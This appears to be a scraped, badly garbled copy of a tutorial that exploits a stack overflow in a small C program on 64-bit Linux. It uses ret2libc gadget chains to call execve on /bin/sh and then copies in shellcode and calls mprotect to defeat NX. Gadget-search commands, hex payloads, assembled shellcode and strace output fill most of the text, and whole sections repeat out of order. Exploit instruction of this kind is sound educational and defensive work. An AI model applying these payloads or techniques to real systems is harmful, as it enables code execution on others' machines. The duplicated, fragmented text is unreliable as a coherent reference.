Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
return 0;
}
-This is obviously bad code. Even gcc gives a warning. Note, this is compiled wit
h the -fno-stack-protector flag. We'll leave "execstack" on, though. (you can ma
ke sure it's on with # execstack -c victim).
If not already obvious, this code is vulnerable to a stack overflow. If you prov
ide an input string larger than 64 characters, the name buffer is overflowed, an
d we overwrite the return address. That gives us control over the instruction po
inter.
To make our life a little easier, we're printing out the buffer address. This pr
oved useful in the end, since gdb adds some stack space itself, and between runn
ing in gdb and running interactively, there proved to be a 0x20 difference in bu
ffer address. (That took me a while to realize)
-----------------------------------------------------------------*******************************
1. EXECVE SYSCALL with ret2libc
*******************************
For the first exercise the plan is to simply execute /bin/sh (/bin/bash). In the
link above, the jump is to <system> function call, but that didn't work for me,
and it looks some protection is built in (it basically replaces the %rdi value
with a strange low hex value). Here, then, we set up all the registers ourselves
and jump to <execve>, which does little more than setting %rax to the right sys
call number and the syscall itself.
A quick reminder of x86_64 linux syscall convention: %rax holds the syscall and
parameters are passed in registers:
%rdi
%rsi
%rdx
%rcx
%r8
%r9
<<<<<<-
param
param
param
param
param
param
1
2
3
4
5
6
%rdx
<- null/0x00
%rax will be set to 0x3b (59) when execution is directed to <execve> libc functi
on.
Disassembled victim code:
-00000000004005b4 <main>:
4005b4:
55
4005b5:
48 89 e5
4005b8:
48 83 ec
4005bc:
b8 fc 06
4005c1:
48 8d 55
4005c5:
48 89 d6
4005c8:
48 89 c7
4005cb:
b8 00 00
4005d0:
e8 bb fe
4005d5:
bf 10 07
4005da:
e8 c1 fe
4005df:
48 8d 45
4005e3:
48 89 c7
4005e6:
e8 d5 fe
4005eb:
b8 25 07
4005f0:
48 8d 55
4005f4:
48 89 d6
4005f7:
48 89 c7
4005fa:
b8 00 00
4005ff:
e8 8c fe
400604:
b8 00 00
400609:
c9
40060a:
c3
40060b:
90
40060c:
90
40
40 00
c0
00
ff
40
ff
c0
00
ff
00
ff
ff ff
40 00
c0
00 00
ff ff
00 00
push
mov
sub
mov
lea
mov
mov
mov
callq
mov
callq
lea
mov
callq
mov
lea
mov
mov
mov
callq
mov
leaveq
retq
nop
nop
%rbp
%rsp,%rbp
$0x40,%rsp
$0x4006fc,%eax
-0x40(%rbp),%rdx
%rdx,%rsi
%rax,%rdi
$0x0,%eax
400490 <printf@plt>
$0x400710,%edi
4004a0 <puts@plt>
-0x40(%rbp),%rax
%rax,%rdi
4004c0 <gets@plt>
$0x400725,%eax
-0x40(%rbp),%rdx
%rdx,%rsi
%rax,%rdi
$0x0,%eax
400490 <printf@plt>
$0x0,%eax
. . .
RET2LIBC refers to jumping to instructions within libc (loaded with victim, beca
use of the inclusion of the <stdio.h> header), either code fragments, or functio
n calls (which often, but not always, are interfaces to sys calls). So, since we
cannot execute any code directly, we jump to code that _is_ executable.
Since we fully control %rip (and probably quite a bit of stack after that), we c
an send execution anywhere we want. Since we need to pass 3 parameters, we need
something for %rdi, %rsi and %rdx. And since this will need to be chained (event
ually everything needs to end up in <execve>, we will need to return, as well.
RET2LIBC is also referred to as POP POP RET. And here's why: what we'll do is fi
nd code that does:
pop %rdi
retq
pop %rsi
retq
pop %rdx
retq
<execve>
These individual 'pop-rets' are usually referred to as "gadgets". They will allo
w us to jump around the code. So, we need to find memory addresses to give us th
is.
This is where the article linked above was very useful. We can grep through libc
for retq, but that's a lot of stuff to go through. If we know what the actual h
ex opcodes are, we can look for them directly. To make this easy, I wrote a real
quick bit of assembly that pushed some stuff to the stack, then pops rdi, rsi,
rex, dcx, r9 and r8.
600084:
600085:
600086:
600087:
600088:
60008a:
5f
5e
5a
59
41 59
41 58
pop
pop
pop
pop
pop
pop
%rdi
%rsi
%rdx
%rcx
%r9
%r8
Nicely, all the main register "pops" are just a single byte.
We can now look for "pop %rdi - retq" by bytes:
# locate libc.so
/lib/libc.so.6
/lib32/libc.so.6
/opt/AutoScan/usr/lib/libc.so
/opt/AutoScan/usr/lib/libc.so.6
/usr/lib/libc.so
# xxd -c1 -p /lib/libc.so.6 | grep -n -B1 c3 | grep 5f | awk '{printf"%x\n",$1-1
}'
2028b
22a3e
233fa
23a77
248cf
254b9
25d54
261f1
2675e
27047
277e4
27b71
280f8
28761
290cd
...
Note: when doing this on your own machine, results will be different. If followi
ng along, follow the logic, don't just copy/paste commands.
This basically gives us a sequence of offset addresses since the beginning of li
bc with byte sequences matching 5f c3 (retq).
We can get the address in memory of libc by running victim and grepping proc/$pi
d/maps in a different shell window:
(Note, in another shell run: setarch `arch` -R ./victim
isables ASLR)
-- setarch `arch` -R d
2f62696e2f7368000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000d0e5ffffff7f0000cfb8a7f7ff7f0000
d0e5ffffff7f0000187baaf7ff7f00000000000000000000928ba5f7ff7f00000000000000000000
803fb0f7ff7f0000
I then turn this to binary with xxd -r -p and feed it into victim:
This results in the following stack:
----------------------|
/bin/sh + 00s
|
|
|
|
64 bytes
|
|
|
|---------------------|
| 0x00007fffffffe5d0 |
|---------------------|
| 0x00007ffff7a7b8cf |
|---------------------|
| 0x00007fffffffe5d0 |
|---------------------|
| 0x00007ffff7aa7b18 |
|---------------------|
| 0x0000000000000000 |
|---------------------|
| 0x00007ffff7a58b92 |
|---------------------|
| 0x0000000000000000 |
|---------------------|
| 0x00007ffff7b03f80 |
|
. . .
|
So, does this work? It does, but with some caveats. The thing that really messed
with my head was that it would work in gdb, but then wouldn't work outside of i
t. Once I realized that gdb added 0x20 to the stack itself, between running inte
ractive and through gdb I had to adjust offsets. The second thing is that while
it runs, you don't actually get the shell you expect, you just get back to the c
ommand prompt. Not that that's a terrible thing here, all we're trying to do her
e is prove that we can do this, and the code is somewhat irrelevant. Running str
ace, we can see that we indeed executed /bin/bash, though:
[
7ffff7b3c51a] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYM
OUS, -1, 0) = 0x7ffff7ff7000
[
7ffff7b31f90] read(0, "/bin/sh\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
0\0\0"..., 4096) = 128
[
7ffff7b31f90] read(0, "", 4096)
= 0
[
7ffff7b31ff0] write(1, "content of buffer: /bin/sh\n", 27content of buffer:
/bin/sh
) = 27
[
7ffff7b03f87] execve("/bin/sh", [0], [0]) = 0
[
7ffff7df3fca] brk(0)
= 0x6ea000
[
7ffff76ea325] stat("/usr/local/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No
such file or directory)
[
7ffff76ea325] stat("/usr/local/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No s
uch file or directory)
[
7ffff76ea325] stat("/usr/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such f
ile or directory)
[
7ffff76ea325] stat("/usr/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such fi
le or directory)
[
7ffff76ea325] stat("/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such file
or directory)
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
[
7ffff76bdad7] geteuid()
= 0
[
7ffff76bdaf7] getegid()
= 0
[
7ffff76bdac7] getuid()
= 0
[
7ffff76bdae7] getgid()
= 0
[
7ffff76eb047] access("/bin/bash", X_OK) = 0
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
Very good! It does actually work. (you can see the write back to stdout with the
buffer contents, followed by the execve syscall)
IMPORTANT: In x86_64, we're passing 8 byte addresses and cannot shorten it. ALL
MEMORY ADDRESSES HAVE AT LEAST TWO NULL BYTES. Therefore, let's forget about nul
l-free input
-------------------------------------------********************************
2. RET2LIBC MPROTECT + SHELLCODE
********************************
Now, this is nice, but what I _really_ like is run my own shell code of choice.
We can endlessly chain pop-ret if we want to, but at 8 bytes for each instructio
n/gadget, that quickly gets quite large. If we can use ret2libc just for a first
stage and then get some code executed, we can do a lot more.
So far we've "defeated" NX by simply never attempting to run any inserted code.
We'll _actually_ have to defeat it if we want to run arbitrary code.
To test shell code, I typically use this bit of C:
-int main(int argc, char **argv) {
void *ptr = mmap(0, sizeof(shellcode),
PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
| MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;
sc();
return 0;
}
-So, we should be able to do a similar thing as above and chain gadgets to mmap a
n area, memcpy the shell code into it, and direct execution there.
One problem (And this took a while to figure out) mmap takes 6 parameters:
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t
offset);
This wouldn't be a problem if it were easy to find pop %r8 and pop %r9 near a re
t, or something equivalent, but multiple searches through libc with either grep
or xxd showed this was a dead end. 41-59-c3 and 41-58-c3 simply don't exist in (
my) libc, and grepping objdump doesn't give us anything useful. So, we need a di
fferent plan.
Rather than mmapping a location directly to PROT_EXEC | PROT_WRITE | PROT_READ a
nd then copying, we can copy first to a data section, and then run mprotect to c
hange the permissions.
void *memcpy(void *dest, void *src, size_t count);
int mprotect(const void *addr, size_t len, int prot);
We need to find an area to copy to. With readelf we can find relevant sections:
0
0
0
7
0
0
0
0
0
[19]
0
[20]
0
[21]
0
[22]
0
[23]
0
[24]
0
[25]
0
[26]
0
[27]
0
.ctors
8
.dtors
8
.jcr
8
.dynamic
8
.got
8
.got.plt
8
.data
8
.bss
8
.comment
1
PROGBITS
PROGBITS
PROGBITS
DYNAMIC
PROGBITS
PROGBITS
PROGBITS
NOBITS
PROGBITS
I decided to pick 0x601040. So, this is where we will write the shellcode. This
is a rw- memory area (W=write; A=access), so writing shouldn't be a problem. The
n, with mprotect we will set it to executable. For mprotect, I found out the har
d way that this works on a whole page, and once I realized what that actually me
ant 0x601000 will be the address we pass to mprotect. That will then also apply
to the .data and .bss sections.
---------------------------------PROT_EXEC | PROT_WRITE | PROT_READ
This works just like rwx on the file system, so 7 = rwx, 5 = r-x, 6 = rw-, etc.
I tried both 7 and 5, and both worked on my system. Some implementations apparen
tly check whether W is set as well as X and don't allow that, so 5 is the cleane
r option, unless your shell code needs to write further data, of course (but you
could use the stack for that as well).
---------------------------------Both memcpy and mprotect are three parameter functions, so we can reuse our prev
iously found gadgets. (Though pop %rdx just happens to be another one)
OK, some shellcode. This essentially does the same thing as we did before: run a
n execve to /bin/sh. Again, I'll just use null, null for the argv and envy param
s.
-[bits 64]
global _start
section .data
command db "/bin/sh", 0x00
; 8 chars
_start:
xor
xor
xor
xor
eax,
esi,
edi,
edx,
eax
esi
edi
edx
popshell:
mov al,0x3b
lea rdi, [rel command]
syscall
call _start
exit:
xor eax, eax
mov al, 60
xor edi, edi
syscall
nop
nop
nop
nop
nop
-/bin/sh is loaded from a [rel command] so the address is relative (and negative,
so no nulls, even though that doesn't matter here). The exit syscall here is re
dundant because it is never reached. The call was with the idea that if an error
occurred it would be able to recover by looping back up, but that isn't actuall
y how execve works, so could also be cut.
0000000000600078 <command>:
600078:
2f
600079:
62
60007a:
69 6e 2f 73 68 00 31
(bad)
(bad)
imul $0x31006873,0x2f(%rsi),%ebp
0000000000600080 <_start>:
600080:
31 c0
600082:
31 f6
600084:
31 ff
600086:
31 d2
xor
xor
xor
xor
%eax,%eax
%esi,%esi
%edi,%edi
%edx,%edx
mov
lea
$0x3b,%al
-0x19(%rip),%rdi
0000000000600088 <popshell>:
600088:
b0 3b
60008a:
48 8d 3d e7 ff ff ff
<command>
600091:
0f 05
600093:
e8 e8 ff ff ff
0000000000600098 <exit>:
600098:
31 c0
60009a:
b0 3c
60009c:
31 ff
60009e:
0f 05
6000a0:
90
6000a1:
90
6000a2:
90
6000a3:
90
6000a4:
90
# 600078
syscall
callq 600080 <_start>
xor
%eax,%eax
mov
$0x3c,%al
xor
%edi,%edi
syscall
nop
nop
nop
nop
nop
Without the nops, that is 40 characters. We should have 64 chars at least for si
ze, and +16 if we don't care about the stack base pointer. The effective code he
re is 26 bytes (without the call and exit), so 64 would allow us quite a few mor
e actions, especially if we do standard de-nulling.
The bytes under <command> stand for /bin/sh, 0x00. Because of the null byte, the
rest of the shell code will not be echoed to the screen when victim prints the
buffer. You can also see that command is 0x19 back from %rip when its address is
loaded.
For our pop-ret chain, we do have to remember to jump to <_start> at <command>+0
x08 to jump into executable code, rather than the top of our base address. (If y
ou don't, you start executing the /bin/sh bytes 2f, 62, etc. which give you an b
ad instruction error)
xxd -s0x78 -l40 -p the compiled code to generate the shell code. This will go at
the start of our input string.
2f62696e2f73680031c031f631ff31d2b03b488d3de7ffffff0f05e8e8ffffff31c0b03c31ff0f05
This is what the stack will look right after the get function in victim:
----------------------| 2f62696e2f73680031..| <-- /bin/sh, 0x00 + executable shellcode
|
|
|
64 bytes
|
|(filled up with 0x00)|
|---------------------|
-Again, we don't actually get a shell, but we can check with strace again whether
/bin/bash is actually started. And it is. Also note the call to mprotect(0x6010
00, 4096, PROT_READ|PROT_EXEC) = 0 right before /bin/sh is executed:
[
7ffff7b3c51a] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYM
OUS, -1, 0) = 0x7ffff7ff7000
[
7ffff7b31f90] read(0, "/bin/sh\0001\3001\3661\3771\322\260;H\215=\347\377\3
77\377\17\5\350\350\377\377\377"..., 4096) = 200
[
7ffff7b31f90] read(0, "", 4096)
= 0
[
7ffff7b31ff0] write(1, "content of buffer: /bin/sh\n", 27content of buffer:
/bin/sh
) = 27
[
7ffff7b3c577] mprotect(0x601000, 4096, PROT_READ|PROT_EXEC) = 0
[
60105b] execve("/bin/sh", [0], [0]) = 0
[
7ffff7df3fca] brk(0)
= 0x6ea000
[
7ffff76ea325] stat("/usr/local/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No
such file or directory)
[
7ffff76ea325] stat("/usr/local/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No s
uch file or directory)
[
7ffff76ea325] stat("/usr/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such f
ile or directory)
[
7ffff76ea325] stat("/usr/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such fi
le or directory)
[
7ffff76ea325] stat("/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such file
or directory)
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
[
7ffff76bdad7] geteuid()
= 0
[
7ffff76bdaf7] getegid()
= 0
[
7ffff76bdac7] getuid()
= 0
[
7ffff76bdae7] getgid()
= 0
[
7ffff76eb047] access("/bin/bash", X_OK) = 0
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
/bin/bash executed.
So, we know that the shell code was executed, but we can also check what happene
d to our data page. Before we checked /proc/$pid/maps to check the in-memory loc
ation of libc, we can do the same to get everything:
Before (at program start):
# cat /proc/24034/maps
/xx/xx/
/xx/xx/
/xx/xx/
/lib/li
/lib/li
/lib/li
/xx/xx/
/xx/xx/
/xx/xx/
/lib/li
/lib/li
/lib/li
This post looks at ret2libc ("pop pop ret") to run commands without executing sh
ell code, as well as using ret2libc to copy shell code into a memory area, defea
t DEP/NX and run it.
The machine I am running this on is a recent x86_64 desktop running a Ubuntu-bas
ed distribution.
# uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 XXX 2012 x86_64 GNU/Linux
# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:
Ubuntu 10.04.3 LTS
Release:
10.04
Codename:
lucid
By default, this has stack protection on (unless explicitly instructing gcc to n
ot use it), allows no code execution on the stack, uses ASLR as well as DEP/NX.
For this purpose, we're turning off stack protection (which inserts "stack cooki
es" to ensure stack integrity) as well as ASLR, because it makes it much harder,
while not adding a lot to the explanation of concepts. Perhaps in a later post
I'll talk about these two as well.
I got a lot of info from the link below, but I never got his actual example with
a <system> call working, so this takes a slightly different approach:
1. use execve syscall through ret2libc
2. use <memcpy> libc function and mprotect syscall to execute inserted shellcode
.
Link: http://crypto.stanford.edu/~blynn/rop/
----------------------------------------------------------------For this exercise, we'll use some pretty basic C code as the victim. (you'll not
ice it is very similar to the code in the link):
-#include <stdio.h>
int main(){
char name[64];
printf("buffer address: %p\n", name); //print address of buffer
puts("Enter text for name:");
gets(name);
printf("content of buffer: %s\n", name);
return 0;
}
-This is obviously bad code. Even gcc gives a warning. Note, this is compiled wit
h the -fno-stack-protector flag. We'll leave "execstack" on, though. (you can ma
ke sure it's on with # execstack -c victim).
If not already obvious, this code is vulnerable to a stack overflow. If you prov
ide an input string larger than 64 characters, the name buffer is overflowed, an
d we overwrite the return address. That gives us control over the instruction po
inter.
To make our life a little easier, we're printing out the buffer address. This pr
oved useful in the end, since gdb adds some stack space itself, and between runn
ing in gdb and running interactively, there proved to be a 0x20 difference in bu
ffer address. (That took me a while to realize)
-----------------------------------------------------------------*******************************
1. EXECVE SYSCALL with ret2libc
*******************************
For the first exercise the plan is to simply execute /bin/sh (/bin/bash). In the
link above, the jump is to <system> function call, but that didn't work for me,
and it looks some protection is built in (it basically replaces the %rdi value
with a strange low hex value). Here, then, we set up all the registers ourselves
and jump to <execve>, which does little more than setting %rax to the right sys
call number and the syscall itself.
A quick reminder of x86_64 linux syscall convention: %rax holds the syscall and
parameters are passed in registers:
%rdi
%rsi
%rdx
%rcx
%r8
%r9
<<<<<<-
param
param
param
param
param
param
1
2
3
4
5
6
%rax will be set to 0x3b (59) when execution is directed to <execve> libc functi
on.
Disassembled victim code:
-00000000004005b4 <main>:
4005b4:
55
4005b5:
48 89 e5
4005b8:
48 83 ec 40
push
mov
sub
%rbp
%rsp,%rbp
$0x40,%rsp
4005bc:
4005c1:
4005c5:
4005c8:
4005cb:
4005d0:
4005d5:
4005da:
4005df:
4005e3:
4005e6:
4005eb:
4005f0:
4005f4:
4005f7:
4005fa:
4005ff:
400604:
400609:
40060a:
40060b:
40060c:
b8
48
48
48
b8
e8
bf
e8
48
48
e8
b8
48
48
48
b8
e8
b8
c9
c3
90
90
fc
8d
89
89
00
bb
10
c1
8d
89
d5
25
8d
89
89
00
8c
00
06
55
d6
c7
00
fe
07
fe
45
c7
fe
07
55
d6
c7
00
fe
00
40 00
c0
00
ff
40
ff
c0
00
ff
00
ff
ff ff
40 00
c0
00 00
ff ff
00 00
mov
lea
mov
mov
mov
callq
mov
callq
lea
mov
callq
mov
lea
mov
mov
mov
callq
mov
leaveq
retq
nop
nop
$0x4006fc,%eax
-0x40(%rbp),%rdx
%rdx,%rsi
%rax,%rdi
$0x0,%eax
400490 <printf@plt>
$0x400710,%edi
4004a0 <puts@plt>
-0x40(%rbp),%rax
%rax,%rdi
4004c0 <gets@plt>
$0x400725,%eax
-0x40(%rbp),%rdx
%rdx,%rsi
%rax,%rdi
$0x0,%eax
400490 <printf@plt>
$0x0,%eax
RET2LIBC is also referred to as POP POP RET. And here's why: what we'll do is fi
nd code that does:
pop %rdi
retq
pop %rsi
retq
pop %rdx
retq
<execve>
These individual 'pop-rets' are usually referred to as "gadgets". They will allo
w us to jump around the code. So, we need to find memory addresses to give us th
is.
This is where the article linked above was very useful. We can grep through libc
for retq, but that's a lot of stuff to go through. If we know what the actual h
ex opcodes are, we can look for them directly. To make this easy, I wrote a real
quick bit of assembly that pushed some stuff to the stack, then pops rdi, rsi,
rex, dcx, r9 and r8.
600084:
600085:
600086:
600087:
600088:
60008a:
5f
5e
5a
59
41 59
41 58
pop
pop
pop
pop
pop
pop
%rdi
%rsi
%rdx
%rcx
%r9
%r8
Nicely, all the main register "pops" are just a single byte.
We can now look for "pop %rdi - retq" by bytes:
# locate libc.so
/lib/libc.so.6
/lib32/libc.so.6
/opt/AutoScan/usr/lib/libc.so
/opt/AutoScan/usr/lib/libc.so.6
/usr/lib/libc.so
# xxd -c1 -p /lib/libc.so.6 | grep -n -B1 c3 | grep 5f | awk '{printf"%x\n",$1-1
}'
2028b
22a3e
233fa
23a77
248cf
254b9
25d54
261f1
2675e
27047
277e4
27b71
280f8
28761
290cd
...
Note: when doing this on your own machine, results will be different. If followi
ng along, follow the logic, don't just copy/paste commands.
-- setarch `arch` -R d
|
|
|---------------------|
| 0x00007fffffffe5d0 |
|---------------------|
| 0x00007ffff7a7b8cf |
|---------------------|
| 0x00007fffffffe5d0 |
|---------------------|
| 0x00007ffff7aa7b18 |
|---------------------|
| 0x0000000000000000 |
|---------------------|
| 0x00007ffff7a58b92 |
|---------------------|
| 0x0000000000000000 |
|---------------------|
| 0x00007ffff7b03f80 |
|
. . .
|
So, does this work? It does, but with some caveats. The thing that really messed
with my head was that it would work in gdb, but then wouldn't work outside of i
t. Once I realized that gdb added 0x20 to the stack itself, between running inte
ractive and through gdb I had to adjust offsets. The second thing is that while
it runs, you don't actually get the shell you expect, you just get back to the c
ommand prompt. Not that that's a terrible thing here, all we're trying to do her
e is prove that we can do this, and the code is somewhat irrelevant. Running str
ace, we can see that we indeed executed /bin/bash, though:
[
7ffff7b3c51a] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYM
OUS, -1, 0) = 0x7ffff7ff7000
[
7ffff7b31f90] read(0, "/bin/sh\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
0\0\0"..., 4096) = 128
[
7ffff7b31f90] read(0, "", 4096)
= 0
[
7ffff7b31ff0] write(1, "content of buffer: /bin/sh\n", 27content of buffer:
/bin/sh
) = 27
[
7ffff7b03f87] execve("/bin/sh", [0], [0]) = 0
[
7ffff7df3fca] brk(0)
= 0x6ea000
[
7ffff76ea325] stat("/usr/local/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No
such file or directory)
[
7ffff76ea325] stat("/usr/local/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No s
uch file or directory)
[
7ffff76ea325] stat("/usr/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such f
ile or directory)
[
7ffff76ea325] stat("/usr/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such fi
le or directory)
[
7ffff76ea325] stat("/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such file
or directory)
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
[
7ffff76bdad7] geteuid()
= 0
[
7ffff76bdaf7] getegid()
= 0
[
7ffff76bdac7] getuid()
= 0
[
7ffff76bdae7] getgid()
= 0
[
7ffff76eb047] access("/bin/bash", X_OK) = 0
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
Very good! It does actually work. (you can see the write back to stdout with the
buffer contents, followed by the execve syscall)
IMPORTANT: In x86_64, we're passing 8 byte addresses and cannot shorten it. ALL
MEMORY ADDRESSES HAVE AT LEAST TWO NULL BYTES. Therefore, let's forget about nul
l-free input
-------------------------------------------********************************
2. RET2LIBC MPROTECT + SHELLCODE
********************************
Now, this is nice, but what I _really_ like is run my own shell code of choice.
We can endlessly chain pop-ret if we want to, but at 8 bytes for each instructio
n/gadget, that quickly gets quite large. If we can use ret2libc just for a first
stage and then get some code executed, we can do a lot more.
So far we've "defeated" NX by simply never attempting to run any inserted code.
We'll _actually_ have to defeat it if we want to run arbitrary code.
To test shell code, I typically use this bit of C:
-int main(int argc, char **argv) {
void *ptr = mmap(0, sizeof(shellcode),
PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
| MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;
sc();
return 0;
}
--
So, we should be able to do a similar thing as above and chain gadgets to mmap a
n area, memcpy the shell code into it, and direct execution there.
One problem (And this took a while to figure out) mmap takes 6 parameters:
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t
offset);
This wouldn't be a problem if it were easy to find pop %r8 and pop %r9 near a re
t, or something equivalent, but multiple searches through libc with either grep
or xxd showed this was a dead end. 41-59-c3 and 41-58-c3 simply don't exist in (
my) libc, and grepping objdump doesn't give us anything useful. So, we need a di
fferent plan.
Rather than mmapping a location directly to PROT_EXEC | PROT_WRITE | PROT_READ a
nd then copying, we can copy first to a data section, and then run mprotect to c
hange the permissions.
void *memcpy(void *dest, void *src, size_t count);
int mprotect(const void *addr, size_t len, int prot);
We need to find an area to copy to. With readelf we can find relevant sections:
0
0
0
7
0
0
0
0
0
[19]
0
[20]
0
[21]
0
[22]
0
[23]
0
[24]
0
[25]
0
[26]
0
[27]
0
.ctors
8
.dtors
8
.jcr
8
.dynamic
8
.got
8
.got.plt
8
.data
8
.bss
8
.comment
1
PROGBITS
PROGBITS
PROGBITS
DYNAMIC
PROGBITS
PROGBITS
PROGBITS
NOBITS
PROGBITS
I decided to pick 0x601040. So, this is where we will write the shellcode. This
is a rw- memory area (W=write; A=access), so writing shouldn't be a problem. The
n, with mprotect we will set it to executable. For mprotect, I found out the har
d way that this works on a whole page, and once I realized what that actually me
ant 0x601000 will be the address we pass to mprotect. That will then also apply
to the .data and .bss sections.
---------------------------------PROT_EXEC | PROT_WRITE | PROT_READ
This works just like rwx on the file system, so 7 = rwx, 5 = r-x, 6 = rw-, etc.
I tried both 7 and 5, and both worked on my system. Some implementations apparen
tly check whether W is set as well as X and don't allow that, so 5 is the cleane
r option, unless your shell code needs to write further data, of course (but you
eax,
esi,
edi,
edx,
eax
esi
edi
edx
popshell:
mov al,0x3b
lea rdi, [rel command]
syscall
call _start
exit:
xor eax, eax
mov al, 60
xor edi, edi
syscall
nop
nop
nop
nop
nop
-/bin/sh is loaded from a [rel command] so the address is relative (and negative,
so no nulls, even though that doesn't matter here). The exit syscall here is re
dundant because it is never reached. The call was with the idea that if an error
occurred it would be able to recover by looping back up, but that isn't actuall
y how execve works, so could also be cut.
0000000000600078 <command>:
600078:
2f
600079:
62
60007a:
69 6e 2f 73 68 00 31
(bad)
(bad)
imul $0x31006873,0x2f(%rsi),%ebp
0000000000600080 <_start>:
600080:
31 c0
600082:
31 f6
600084:
31 ff
600086:
31 d2
xor
xor
xor
xor
%eax,%eax
%esi,%esi
%edi,%edi
%edx,%edx
0000000000600088 <popshell>:
600088:
b0 3b
60008a:
48 8d 3d e7 ff ff ff
<command>
600091:
0f 05
600093:
e8 e8 ff ff ff
0000000000600098 <exit>:
600098:
31 c0
60009a:
b0 3c
60009c:
31 ff
60009e:
0f 05
6000a0:
90
6000a1:
90
6000a2:
90
6000a3:
90
6000a4:
90
mov
lea
$0x3b,%al
-0x19(%rip),%rdi
# 600078
syscall
callq 600080 <_start>
xor
%eax,%eax
mov
$0x3c,%al
xor
%edi,%edi
syscall
nop
nop
nop
nop
nop
Without the nops, that is 40 characters. We should have 64 chars at least for si
ze, and +16 if we don't care about the stack base pointer. The effective code he
re is 26 bytes (without the call and exit), so 64 would allow us quite a few mor
e actions, especially if we do standard de-nulling.
The bytes under <command> stand for /bin/sh, 0x00. Because of the null byte, the
rest of the shell code will not be echoed to the screen when victim prints the
buffer. You can also see that command is 0x19 back from %rip when its address is
loaded.
For our pop-ret chain, we do have to remember to jump to <_start> at <command>+0
x08 to jump into executable code, rather than the top of our base address. (If y
ou don't, you start executing the /bin/sh bytes 2f, 62, etc. which give you an b
ad instruction error)
